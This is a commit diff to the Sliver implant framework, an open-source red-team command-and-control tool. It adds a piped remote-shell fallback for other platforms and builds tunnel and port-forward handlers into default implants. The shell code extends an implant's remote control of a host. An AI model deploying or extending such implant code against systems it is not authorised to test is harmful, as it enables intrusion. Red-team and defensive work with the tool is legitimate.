Enable dumb shell and portfwd in default builds

implant/sliver/handlers/handlers_default.go

@@ -59,11 +59,6 @@ func GetSystemPivotHandlers() map[uint32]PivotHandler {
 	return map[uint32]PivotHandler{}
 }
 
-// GetTunnelHandlers - Not supported
-func GetTunnelHandlers() map[uint32]TunnelHandler {
-	return map[uint32]TunnelHandler{}
-}
-
 // GetPivotHandlers - Not supported
 func GetPivotHandlers() map[uint32]PivotHandler {
 	return map[uint32]PivotHandler{}

implant/sliver/handlers/tun-handlers.go

@@ -1,5 +1,3 @@
-// +build windows linux darwin
-
 package handlers
 
 /*

implant/sliver/shell/shell_default.go

@@ -0,0 +1,102 @@
+// +build !windows !linux !darwin
+package shell
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"io"
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+	"os"
+	"os/exec"
+)
+
+var (
+	// Shell constants
+	bash = []string{"/bin/bash"}
+	sh   = []string{"/bin/sh"}
+)
+
+// Shell - Struct to hold shell related data
+type Shell struct {
+	ID      uint64
+	Command *exec.Cmd
+	Stdout  io.ReadCloser
+	Stdin   io.WriteCloser
+}
+
+// Start - Start a process
+func Start(command string) error {
+	cmd := exec.Command(command)
+	return cmd.Start()
+}
+
+// StartInteractive - Start a shell
+func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
+	return pipedShell(tunnelID, command)
+}
+
+func pipedShell(tunnelID uint64, command []string) *Shell {
+	// {{if .Config.Debug}}
+	log.Printf("[shell] %s", command)
+	// {{end}}
+
+	var cmd *exec.Cmd
+	cmd = exec.Command(command[0], command[1:]...)
+
+	stdin, _ := cmd.StdinPipe()
+	stdout, _ := cmd.StdoutPipe()
+	// cmd.Start()
+
+	return &Shell{
+		ID:      tunnelID,
+		Command: cmd,
+		Stdout:  stdout,
+		Stdin:   stdin,
+	}
+}
+
+// GetSystemShellPath - Find bash or sh
+func GetSystemShellPath(path string) []string {
+	if exists(path) {
+		return []string{path}
+	}
+	if exists(bash[0]) {
+		return bash
+	}
+	return sh
+}
+
+// StartAndWait starts a system shell then waits for it to complete
+func (s *Shell) StartAndWait() {
+	s.Command.Start()
+	s.Command.Wait()
+}
+
+func exists(path string) bool {
+	_, err := os.Stat(path)
+	if err == nil {
+		return true
+	}
+	if os.IsNotExist(err) {
+		return false
+	}
+	return true
+}

protobuf/clientpb/client.proto

@@ -304,9 +304,9 @@ message MSFRemoteReq {
 }
 
 enum StageProtocol {
-    TCP = 0;
-    HTTP = 1;
-    HTTPS = 2;
+  TCP = 0;
+  HTTP = 1;
+  HTTPS = 2;
 }
 
 message StagerListenerReq {

server/generate/srcfiles.go

@@ -175,8 +175,11 @@ var (
 		"encoders/images.go",
 
 		"handlers/handlers_default.go",
+		"handlers/tun-handlers.go",
 		"handlers/handlers.go",
 
+		"shell/shell_default.go",
+
 		"hostuuid/uuid_default.go",
 
 		"limits/limits.go",